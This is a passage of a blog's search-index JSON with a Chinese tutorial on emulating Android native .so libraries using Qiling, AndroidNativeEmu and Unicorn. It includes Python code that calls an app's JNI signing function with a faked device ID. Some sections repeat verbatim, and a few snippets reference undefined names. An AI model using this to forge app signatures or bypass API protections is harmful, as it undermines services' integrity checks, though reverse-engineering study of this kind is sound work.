└───────────┘ └───────────┘ └───────────┘ │ │ │ └─────────────────────────────────────────────────────┘ │ │ ↓ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Unicorn Engine │ │ │ │ CPU 仿真 (ARM/ARM64/x86/...) │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:1","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#qiling-简介"},{"categories":null,"collections":null,"content":"Qiling vs Unicorn 特性 Unicorn Qiling 层级 CPU 仿真 操作系统仿真 系统调用 需手动实现 内置支持 文件系统 无 虚拟文件系统 ELF 加载 需手动实现 自动加载 库函数 需 Mock 部分内置 难度 高 中 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#qiling-vs-unicorn"},{"categories":null,"collections":null,"content":"安装 Qiling # 安装 Qiling pip install qiling # 或从源码安装（推荐，获取最新功能） git clone https://github.com/qilingframework/qiling.git cd qiling pip install . # 准备 rootfs（Android ARM64） # 可以从 qiling 仓库下载预构建的 rootfs # 或从真实设备提取 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:3","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#安装-qiling"},{"categories":null,"collections":null,"content":"基础使用 from qiling import Qiling from qiling.const import QL_VERBOSE # 创建 Qiling 实例（Linux ARM64） ql = Qiling( argv=[\"./target_binary\"], rootfs=\"./rootfs/arm64_linux\", verbose=QL_VERBOSE.DEBUG ) # 运行 ql.run() ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:4","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#基础使用"},{"categories":null,"collections":null,"content":"Android SO 仿真 from qiling import Qiling from qiling.const import QL_VERBOSE from qiling.os.mapper import QlFsMappedObject class AndroidSOEmulator: \"\"\"Android SO 仿真器 (基于 Qiling)\"\"\" def __init__(self, rootfs_path): self.rootfs = rootfs_path self.ql = None def setup(self, so_path): \"\"\"设置仿真环境\"\"\" # 创建一个加载 SO 的 wrapper 程序 # Qiling 需要一个可执行文件作为入口 self.ql = Qiling( argv=[so_path], rootfs=self.rootfs, ostype=\"linux\", archtype=\"arm64\", verbose=QL_VERBOSE.OFF ) # 设置库搜索路径 self.ql.os.set_env(\"LD_LIBRARY_PATH\", \"/system/lib64\") def hook_function(self, func_name, callback): \"\"\"Hook 导出函数\"\"\" def wrapper(ql): # 获取参数（ARM64 调用约定） args = [ql.arch.regs.x0, ql.arch.regs.x1, ql.arch.regs.x2, ql.arch.regs.x3] result = callback(ql, args) if result is not None: ql.arch.regs.x0 = result self.ql.os.set_api(func_name, wrapper) def call_function(self, func_addr, args=None): \"\"\"调用指定地址的函数\"\"\" if args: regs = ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7'] for i, arg in enumerate(args[:8]): setattr(self.ql.arch.regs, regs[i], arg) # 设置返回地址 self.ql.arch.regs.lr = 0xDEADBEEF # 执行 self.ql.run(begin=func_addr, end=0xDEADBEEF) return self.ql.arch.regs.x0 # 使用示例 emu = AndroidSOEmulator(\"./android_rootfs\") emu.setup(\"./libtarget.so\") # Hook malloc def my_malloc(ql, args): size = args[0] print(f\"[Hook] malloc({size})\") return ql.os.heap.alloc(size) emu.hook_function(\"malloc\", my_malloc) ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:5","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#android-so-仿真"},{"categories":null,"collections":null,"content":"Qiling Hook 机制 from qiling import Qiling ql = Qiling([\"./binary\"], \"./rootfs\") # 1. 地址 Hook @ql.hook_address def hook_specific_addr(ql): print(f\"Hit address: {hex(ql.arch.regs.arch_pc)}\") hook_specific_addr.bindto(0x1234) # 2. 代码块 Hook def hook_block(ql, address, size): print(f\"Block: {hex(address)}, size: {size}\") ql.hook_block(hook_block) # 3. 指令 Hook def hook_code(ql, address, size): # 每条指令执行前 print(f\"Instruction: {hex(address)}\") ql.hook_code(hook_code) # 4. 内存访问 Hook def hook_mem_read(ql, access, address, size, value): print(f\"Read: {hex(address)}, size: {size}\") def hook_mem_write(ql, access, address, size, value): print(f\"Write: {hex(address)} = {hex(value)}\") ql.hook_mem_read(hook_mem_read) ql.hook_mem_write(hook_mem_write) # 5. 系统调用 Hook def hook_syscall(ql, syscall_num, *args): print(f\"Syscall: {syscall_num}, args: {args}\") ql.os.set_syscall(\"open\", hook_syscall) ql.run() ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:6","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#qiling-hook-机制"},{"categories":null,"collections":null,"content":"Qiling 调试功能 from qiling import Qiling from qiling.debugger.gdb import QlGdb # 启动 GDB 调试服务器 ql = Qiling([\"./binary\"], \"./rootfs\") ql.debugger = QlGdb(ql, ip=\"0.0.0.0\", port=9999) ql.run() # 然后用 GDB 连接: # gdb-multiarch # (gdb) target remote localhost:9999 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:3:7","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#qiling-调试功能"},{"categories":null,"collections":null,"content":"AndroidNativeEmu AndroidNativeEmu 是一个专门用于 Android Native 库仿真的 Python 框架，基于 Unicorn 构建，提供了完整的 JNI 环境模拟。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#androidnativeemu"},{"categories":null,"collections":null,"content":"AndroidNativeEmu 简介 特性 说明 语言 Python 基础 Unicorn Engine 专注 Android Native 库 JNI 完整的 JNI 环境模拟 系统库 内置常用库 Mock ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:1","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#androidnativeemu-简介"},{"categories":null,"collections":null,"content":"安装 # 克隆仓库 git clone https://github.com/AeonLucid/AndroidNativeEmu.git cd AndroidNativeEmu # 安装依赖 pip install -r requirements.txt # 或直接 pip 安装 pip install androidemu ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#安装"},{"categories":null,"collections":null,"content":"基础使用 from androidemu.emulator import Emulator from androidemu.java.java_class_def import JavaClassDef from androidemu.java.java_method_def import java_method_def # 创建模拟器实例 emulator = Emulator( vfp_inst_set=True, # 启用 VFP 指令集 vfs_root=\"./vfs\" # 虚拟文件系统根目录 ) # 加载 SO 文件 lib_module = emulator.load_library(\"./libnative.so\") # 查看导出函数 for symbol in lib_module.symbols: if symbol.is_export: print(f\"Export: {symbol.name} @ {hex(symbol.address)}\") ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#基础使用-1"},{"categories":null,"collections":null,"content":"JNI 环境模拟 from androidemu.emulator import Emulator from androidemu.java.java_class_def import JavaClassDef from androidemu.java.java_method_def import java_method_def # 定义 Java 类（模拟 Android 类） class MainActivity(metaclass=JavaClassDef, jvm_name=\"com/example/app/MainActivity\"): def __init__(self): self.secret = \"my_secret_key\" @java_method_def( name=\"getSecret\", signature=\"()Ljava/lang/String;\", native=False ) def get_secret(self, emu): return self.secret @java_method_def( name=\"processData\", signature=\"(Ljava/lang/String;)Ljava/lang/String;\", native=False ) def process_data(self, emu, data): return f\"processed_{data}\" # 注册 Java 类 emulator = Emulator() emulator.java_classloader.add_class(MainActivity) # 加载 SO emulator.load_library(\"./libnative.so\") # 调用 JNI 函数 # 假设 SO 中有: Java_com_example_app_MainActivity_nativeSign result = emulator.call_symbol( lib_module, \"Java_com_example_app_MainActivity_nativeSign\", emulator.java_vm.jni_env.address_ptr, # JNIEnv* 0, # jobject (this) emulator.java_vm.jni_env.add_local_reference( # jstring String(\"input_data\") ) ) ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#jni-环境模拟"},{"categories":null,"collections":null,"content":"完整示例：签名函数仿真 from androidemu.emulator import Emulator from androidemu.java.java_class_def import JavaClassDef from androidemu.java.java_method_def import java_method_def from androidemu.java.classes.string import String import logging # 配置日志 logging.basicConfig(level=logging.DEBUG) class SignHelper(metaclass=JavaClassDef, jvm_name=\"com/example/app/SignHelper\"): \"\"\"模拟 SignHelper Java 类\"\"\" @java_method_def( name=\"getDeviceId\", signature=\"()Ljava/lang/String;\", native=False ) def get_device_id(self, emu): return \"fake_device_id_12345\" @java_method_def( name=\"getPackageName\", signature=\"()Ljava/lang/String;\", native=False ) def get_package_name(self, emu): return \"com.example.app\" class NativeEmulator: \"\"\"Native 库仿真器\"\"\" def __init__(self, so_path, vfs_root=\"./vfs\"): self.emulator = Emulator( vfp_inst_set=True, vfs_root=vfs_root ) # 注册 Java 类 self.emulator.java_classloader.add_class(SignHelper) # 加载 SO self.lib_module = self.emulator.load_library(so_path) print(f\"Loaded: {so_path}\") print(f\"Base address: {hex(self.lib_module.base)}\") def get_sign(self, input_data): \"\"\"调用签名函数\"\"\" # 准备 JNI 参数 jni_env = self.emulator.java_vm.jni_env # 创建 Java String j_input = jni_env.add_local_reference(String(input_data)) # 调用 native 函数 result = self.emulator.call_symbol( self.lib_module, \"Java_com_example_app_SignHelper_nativeSign\", jni_env.address_ptr, # JNIEnv* 0, # jclass j_input # jstring input ) # 解析返回值（假设返回 jstring） if result != 0: return_str = jni_env.get_local_reference(result) if isinstance(return_str, String): return return_str.value return None def hook_function(self, symbol_name, callback): \"\"\"Hook 指定函数\"\"\" symbol = self.lib_module.find_symbol(symbol_name) if symbol: self.emulator.mu.hook_add( UC_HOOK_CODE, callback, begin=symbol.address, end=symbol.address + 4 ) # 使用示例 if __name__ == \"__main__\": emu = NativeEmulator(\"./libsign.so\", \"./vfs\") # 计算签名 sign = emu.get_sign(\"test_data_12345\") print(f\"Signature: {sign}\") ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:5","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#完整示例签名函数仿真"},{"categories":null,"collections":null,"content":"Hook 与调试 from unicorn import UC_HOOK_CODE, UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE class DebugEmulator(NativeEmulator): \"\"\"带调试功能的仿真器\"\"\" def __init__(self, so_path, vfs_root=\"./vfs\"): super().__init__(so_path, vfs_root) self.trace_enabled = False def enable_trace(self, start_addr=None, end_addr=None): \"\"\"启用指令跟踪\"\"\" def trace_hook(mu, address, size, user_data): # 读取指令字节 code = mu.mem_read(address, size) print(f\"0x{address:08x}: {code.hex()}\") begin = start_addr or self.lib_module.base end = end_addr or (self.lib_module.base + self.lib_module.size) self.emulator.mu.hook_add( UC_HOOK_CODE, trace_hook, begin=begin, end=end ) self.trace_enabled = True def hook_memory_access(self): \"\"\"Hook 内存访问\"\"\" def mem_read_hook(mu, access, address, size, value, user_data): print(f\"[MEM READ] 0x{address:08x}, size={size}\") def mem_write_hook(mu, access, address, size, value, user_data): print(f\"[MEM WRITE] 0x{address:08x} = 0x{value:x}, size={size}\") self.emulator.mu.hook_add(UC_HOOK_MEM_READ, mem_read_hook) self.emulator.mu.hook_add(UC_HOOK_MEM_WRITE, mem_write_hook) def dump_registers(self): \"\"\"打印寄存器状态\"\"\" from unicorn.arm_const import ( UC_ARM_REG_R0, UC_ARM_REG_R1, UC_ARM_REG_R2, UC_ARM_REG_R3, UC_ARM_REG_SP, UC_ARM_REG_LR, UC_ARM_REG_PC ) regs = { \"R0\": UC_ARM_REG_R0, \"R1\": UC_ARM_REG_R1, \"R2\": UC_ARM_REG_R2, \"R3\": UC_ARM_REG_R3, \"SP\": UC_ARM_REG_SP, \"LR\": UC_ARM_REG_LR, \"PC\": UC_ARM_REG_PC } print(\"=== Registers ===\") for name, reg in regs.items(): value = self.emulator.mu.reg_read(reg) print(f\" {name}: 0x{value:08x}\") ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:4:6","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#hook-与调试"},{"categories":null,"collections":null,"content":"Python + Unicorn 手动实现 如果需要更细粒度的控制，可以使用 Python + Unicorn 从头实现仿真。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#python--unicorn-手动实现"},{"categories":null,"collections":null,"content":"依赖库 Unicorn Engine: CPU 模拟引擎 pyelftools: 用于解析 ELF 文件 Python: 胶水语言，用于编写加载器和 Mock 函数 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:1","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#依赖库"},{"categories":null,"collections":null,"content":"实现步骤 a. 初始化 Unicorn 环境 from unicorn import * from unicorn.arm64_const import * # 初始化 ARM64 模拟器 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 定义内存区域 BASE_ADDRESS = 0x40000000 STACK_ADDRESS = 0x70000000 STACK_SIZE = 1024 * 1024 # 1MB 栈空间 # 映射内存 mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) # 2MB 用于 SO mu.mem_map(STACK_ADDRESS, STACK_SIZE) # 设置栈指针 (SP) mu.reg_write(UC_ARM64_REG_SP, STACK_ADDRESS + STACK_SIZE) b. 加载 ELF 文件 from elftools.elf.elffile import ELFFile def load_so(mu, so_path): \"\"\"加载 SO 文件到模拟器内存\"\"\" with open(so_path, 'rb') as f: elffile = ELFFile(f) for segment in elffile.iter_segments(): if segment.header.p_type == 'PT_LOAD': vaddr = segment.header.p_vaddr mem_size = segment.header.p_memsz file_size = segment.header.p_filesz data = segment.data() # 将段写入模拟器内存 mu.mem_write(BASE_ADDRESS + vaddr, data) print(f\"Loaded segment at {hex(BASE_ADDRESS + vaddr)} size {hex(mem_size)}\") return BASE_ADDRESS # 加载 SO base = load_so(mu, 'libnative-lib.so') c. 实现函数 Mock # 模拟外部函数地址 MOCK_PUTS_ADDR = 0xFFFFFFFF00001000 # 记录被 Hook 的指令 hooked_instructions = set() def hook_code(mu, address, size, user_data): \"\"\"代码执行 Hook 回调\"\"\" if address in hooked_instructions: return instruction = mu.mem_read(address, size) # 简化 BL 指令检查 (ARM64) if len(instruction) \u003e= 4 and instruction[3] == 0x94: # 计算跳转目标地址 (需要完整解码指令) target_addr = calculate_branch_target(address, instruction) if target_addr == MOCK_PUTS_ADDR: # 1. 读取参数 (ARM64 第一个参数在 X0 寄存器) str_ptr = mu.reg_read(UC_ARM64_REG_X0) # 2. 从模拟器内存中读取字符串 str_val = mu.mem_read(str_ptr, 256).split(b'\\x00')[0] # 3. 执行 Mock 功能 print(f\"[+] puts called with: '{str_val.decode()}'\") # 4. 模拟函数返回 mu.reg_write(UC_ARM64_REG_PC, mu.reg_read(UC_ARM64_REG_LR)) else: print(f\"Warning: Unhandled call to {hex(target_addr)}\") hooked_instructions.add(address) # 在 SO 加载区域设置 Hook mu.hook_add(UC_HOOK_CODE, hook_code, begin=BASE_ADDRESS, end=BASE_ADDRESS + 0x100000) d. 文件系统 Mock SO 文件可能会访问文件系统。通过 Mock fopen、fread 等函数，可以完全控制文件访问： class FileSystemMock: \"\"\"文件系统模拟\"\"\" def __init__(self, rootfs_path): self.rootfs = rootfs_path self.file_handles = {} self.next_fd = 100 def mock_fopen(self, mu, path_ptr, mode_ptr): \"\"\"模拟 fopen\"\"\" # 读取路径参数 path = mu.mem_read(path_ptr, 256).split(b'\\x00')[0].decode() mode = mu.mem_read(mode_ptr, 8).split(b'\\x00')[0].decode() # 映射到本地 rootfs local_path = os.path.join(self.rootfs, path.lstrip('/')) try: handle = open(local_path, mode) fd = self.next_fd self.file_handles[fd] = handle self.next_fd += 1 print(f\"[+] fopen('{path}', '{mode}') = {fd}\") return fd except FileNotFoundError: print(f\"[-] fopen('{path}') failed: file not found\") return 0 def mock_fread(self, mu, buf_ptr, size, count, fd): \"\"\"模拟 fread\"\"\" if fd in self.file_handles: data = self.file_handles[fd].read(size * count) mu.mem_write(buf_ptr, data) return len(data) return 0 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#实现步骤"},{"categories":null,"collections":null,"content":"实现步骤 a. 初始化 Unicorn 环境 from unicorn import * from unicorn.arm64_const import * # 初始化 ARM64 模拟器 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 定义内存区域 BASE_ADDRESS = 0x40000000 STACK_ADDRESS = 0x70000000 STACK_SIZE = 1024 * 1024 # 1MB 栈空间 # 映射内存 mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) # 2MB 用于 SO mu.mem_map(STACK_ADDRESS, STACK_SIZE) # 设置栈指针 (SP) mu.reg_write(UC_ARM64_REG_SP, STACK_ADDRESS + STACK_SIZE) b. 加载 ELF 文件 from elftools.elf.elffile import ELFFile def load_so(mu, so_path): \"\"\"加载 SO 文件到模拟器内存\"\"\" with open(so_path, 'rb') as f: elffile = ELFFile(f) for segment in elffile.iter_segments(): if segment.header.p_type == 'PT_LOAD': vaddr = segment.header.p_vaddr mem_size = segment.header.p_memsz file_size = segment.header.p_filesz data = segment.data() # 将段写入模拟器内存 mu.mem_write(BASE_ADDRESS + vaddr, data) print(f\"Loaded segment at {hex(BASE_ADDRESS + vaddr)} size {hex(mem_size)}\") return BASE_ADDRESS # 加载 SO base = load_so(mu, 'libnative-lib.so') c. 实现函数 Mock # 模拟外部函数地址 MOCK_PUTS_ADDR = 0xFFFFFFFF00001000 # 记录被 Hook 的指令 hooked_instructions = set() def hook_code(mu, address, size, user_data): \"\"\"代码执行 Hook 回调\"\"\" if address in hooked_instructions: return instruction = mu.mem_read(address, size) # 简化 BL 指令检查 (ARM64) if len(instruction) \u003e= 4 and instruction[3] == 0x94: # 计算跳转目标地址 (需要完整解码指令) target_addr = calculate_branch_target(address, instruction) if target_addr == MOCK_PUTS_ADDR: # 1. 读取参数 (ARM64 第一个参数在 X0 寄存器) str_ptr = mu.reg_read(UC_ARM64_REG_X0) # 2. 从模拟器内存中读取字符串 str_val = mu.mem_read(str_ptr, 256).split(b'\\x00')[0] # 3. 执行 Mock 功能 print(f\"[+] puts called with: '{str_val.decode()}'\") # 4. 模拟函数返回 mu.reg_write(UC_ARM64_REG_PC, mu.reg_read(UC_ARM64_REG_LR)) else: print(f\"Warning: Unhandled call to {hex(target_addr)}\") hooked_instructions.add(address) # 在 SO 加载区域设置 Hook mu.hook_add(UC_HOOK_CODE, hook_code, begin=BASE_ADDRESS, end=BASE_ADDRESS + 0x100000) d. 文件系统 Mock SO 文件可能会访问文件系统。通过 Mock fopen、fread 等函数，可以完全控制文件访问： class FileSystemMock: \"\"\"文件系统模拟\"\"\" def __init__(self, rootfs_path): self.rootfs = rootfs_path self.file_handles = {} self.next_fd = 100 def mock_fopen(self, mu, path_ptr, mode_ptr): \"\"\"模拟 fopen\"\"\" # 读取路径参数 path = mu.mem_read(path_ptr, 256).split(b'\\x00')[0].decode() mode = mu.mem_read(mode_ptr, 8).split(b'\\x00')[0].decode() # 映射到本地 rootfs local_path = os.path.join(self.rootfs, path.lstrip('/')) try: handle = open(local_path, mode) fd = self.next_fd self.file_handles[fd] = handle self.next_fd += 1 print(f\"[+] fopen('{path}', '{mode}') = {fd}\") return fd except FileNotFoundError: print(f\"[-] fopen('{path}') failed: file not found\") return 0 def mock_fread(self, mu, buf_ptr, size, count, fd): \"\"\"模拟 fread\"\"\" if fd in self.file_handles: data = self.file_handles[fd].read(size * count) mu.mem_write(buf_ptr, data) return len(data) return 0 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#a-初始化-unicorn-环境"},{"categories":null,"collections":null,"content":"实现步骤 a. 初始化 Unicorn 环境 from unicorn import * from unicorn.arm64_const import * # 初始化 ARM64 模拟器 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 定义内存区域 BASE_ADDRESS = 0x40000000 STACK_ADDRESS = 0x70000000 STACK_SIZE = 1024 * 1024 # 1MB 栈空间 # 映射内存 mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) # 2MB 用于 SO mu.mem_map(STACK_ADDRESS, STACK_SIZE) # 设置栈指针 (SP) mu.reg_write(UC_ARM64_REG_SP, STACK_ADDRESS + STACK_SIZE) b. 加载 ELF 文件 from elftools.elf.elffile import ELFFile def load_so(mu, so_path): \"\"\"加载 SO 文件到模拟器内存\"\"\" with open(so_path, 'rb') as f: elffile = ELFFile(f) for segment in elffile.iter_segments(): if segment.header.p_type == 'PT_LOAD': vaddr = segment.header.p_vaddr mem_size = segment.header.p_memsz file_size = segment.header.p_filesz data = segment.data() # 将段写入模拟器内存 mu.mem_write(BASE_ADDRESS + vaddr, data) print(f\"Loaded segment at {hex(BASE_ADDRESS + vaddr)} size {hex(mem_size)}\") return BASE_ADDRESS # 加载 SO base = load_so(mu, 'libnative-lib.so') c. 实现函数 Mock # 模拟外部函数地址 MOCK_PUTS_ADDR = 0xFFFFFFFF00001000 # 记录被 Hook 的指令 hooked_instructions = set() def hook_code(mu, address, size, user_data): \"\"\"代码执行 Hook 回调\"\"\" if address in hooked_instructions: return instruction = mu.mem_read(address, size) # 简化 BL 指令检查 (ARM64) if len(instruction) \u003e= 4 and instruction[3] == 0x94: # 计算跳转目标地址 (需要完整解码指令) target_addr = calculate_branch_target(address, instruction) if target_addr == MOCK_PUTS_ADDR: # 1. 读取参数 (ARM64 第一个参数在 X0 寄存器) str_ptr = mu.reg_read(UC_ARM64_REG_X0) # 2. 从模拟器内存中读取字符串 str_val = mu.mem_read(str_ptr, 256).split(b'\\x00')[0] # 3. 执行 Mock 功能 print(f\"[+] puts called with: '{str_val.decode()}'\") # 4. 模拟函数返回 mu.reg_write(UC_ARM64_REG_PC, mu.reg_read(UC_ARM64_REG_LR)) else: print(f\"Warning: Unhandled call to {hex(target_addr)}\") hooked_instructions.add(address) # 在 SO 加载区域设置 Hook mu.hook_add(UC_HOOK_CODE, hook_code, begin=BASE_ADDRESS, end=BASE_ADDRESS + 0x100000) d. 文件系统 Mock SO 文件可能会访问文件系统。通过 Mock fopen、fread 等函数，可以完全控制文件访问： class FileSystemMock: \"\"\"文件系统模拟\"\"\" def __init__(self, rootfs_path): self.rootfs = rootfs_path self.file_handles = {} self.next_fd = 100 def mock_fopen(self, mu, path_ptr, mode_ptr): \"\"\"模拟 fopen\"\"\" # 读取路径参数 path = mu.mem_read(path_ptr, 256).split(b'\\x00')[0].decode() mode = mu.mem_read(mode_ptr, 8).split(b'\\x00')[0].decode() # 映射到本地 rootfs local_path = os.path.join(self.rootfs, path.lstrip('/')) try: handle = open(local_path, mode) fd = self.next_fd self.file_handles[fd] = handle self.next_fd += 1 print(f\"[+] fopen('{path}', '{mode}') = {fd}\") return fd except FileNotFoundError: print(f\"[-] fopen('{path}') failed: file not found\") return 0 def mock_fread(self, mu, buf_ptr, size, count, fd): \"\"\"模拟 fread\"\"\" if fd in self.file_handles: data = self.file_handles[fd].read(size * count) mu.mem_write(buf_ptr, data) return len(data) return 0 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#b-加载-elf-文件"},{"categories":null,"collections":null,"content":"实现步骤 a. 初始化 Unicorn 环境 from unicorn import * from unicorn.arm64_const import * # 初始化 ARM64 模拟器 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 定义内存区域 BASE_ADDRESS = 0x40000000 STACK_ADDRESS = 0x70000000 STACK_SIZE = 1024 * 1024 # 1MB 栈空间 # 映射内存 mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) # 2MB 用于 SO mu.mem_map(STACK_ADDRESS, STACK_SIZE) # 设置栈指针 (SP) mu.reg_write(UC_ARM64_REG_SP, STACK_ADDRESS + STACK_SIZE) b. 加载 ELF 文件 from elftools.elf.elffile import ELFFile def load_so(mu, so_path): \"\"\"加载 SO 文件到模拟器内存\"\"\" with open(so_path, 'rb') as f: elffile = ELFFile(f) for segment in elffile.iter_segments(): if segment.header.p_type == 'PT_LOAD': vaddr = segment.header.p_vaddr mem_size = segment.header.p_memsz file_size = segment.header.p_filesz data = segment.data() # 将段写入模拟器内存 mu.mem_write(BASE_ADDRESS + vaddr, data) print(f\"Loaded segment at {hex(BASE_ADDRESS + vaddr)} size {hex(mem_size)}\") return BASE_ADDRESS # 加载 SO base = load_so(mu, 'libnative-lib.so') c. 实现函数 Mock # 模拟外部函数地址 MOCK_PUTS_ADDR = 0xFFFFFFFF00001000 # 记录被 Hook 的指令 hooked_instructions = set() def hook_code(mu, address, size, user_data): \"\"\"代码执行 Hook 回调\"\"\" if address in hooked_instructions: return instruction = mu.mem_read(address, size) # 简化 BL 指令检查 (ARM64) if len(instruction) \u003e= 4 and instruction[3] == 0x94: # 计算跳转目标地址 (需要完整解码指令) target_addr = calculate_branch_target(address, instruction) if target_addr == MOCK_PUTS_ADDR: # 1. 读取参数 (ARM64 第一个参数在 X0 寄存器) str_ptr = mu.reg_read(UC_ARM64_REG_X0) # 2. 从模拟器内存中读取字符串 str_val = mu.mem_read(str_ptr, 256).split(b'\\x00')[0] # 3. 执行 Mock 功能 print(f\"[+] puts called with: '{str_val.decode()}'\") # 4. 模拟函数返回 mu.reg_write(UC_ARM64_REG_PC, mu.reg_read(UC_ARM64_REG_LR)) else: print(f\"Warning: Unhandled call to {hex(target_addr)}\") hooked_instructions.add(address) # 在 SO 加载区域设置 Hook mu.hook_add(UC_HOOK_CODE, hook_code, begin=BASE_ADDRESS, end=BASE_ADDRESS + 0x100000) d. 文件系统 Mock SO 文件可能会访问文件系统。通过 Mock fopen、fread 等函数，可以完全控制文件访问： class FileSystemMock: \"\"\"文件系统模拟\"\"\" def __init__(self, rootfs_path): self.rootfs = rootfs_path self.file_handles = {} self.next_fd = 100 def mock_fopen(self, mu, path_ptr, mode_ptr): \"\"\"模拟 fopen\"\"\" # 读取路径参数 path = mu.mem_read(path_ptr, 256).split(b'\\x00')[0].decode() mode = mu.mem_read(mode_ptr, 8).split(b'\\x00')[0].decode() # 映射到本地 rootfs local_path = os.path.join(self.rootfs, path.lstrip('/')) try: handle = open(local_path, mode) fd = self.next_fd self.file_handles[fd] = handle self.next_fd += 1 print(f\"[+] fopen('{path}', '{mode}') = {fd}\") return fd except FileNotFoundError: print(f\"[-] fopen('{path}') failed: file not found\") return 0 def mock_fread(self, mu, buf_ptr, size, count, fd): \"\"\"模拟 fread\"\"\" if fd in self.file_handles: data = self.file_handles[fd].read(size * count) mu.mem_write(buf_ptr, data) return len(data) return 0 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#c-实现函数-mock"},{"categories":null,"collections":null,"content":"实现步骤 a. 初始化 Unicorn 环境 from unicorn 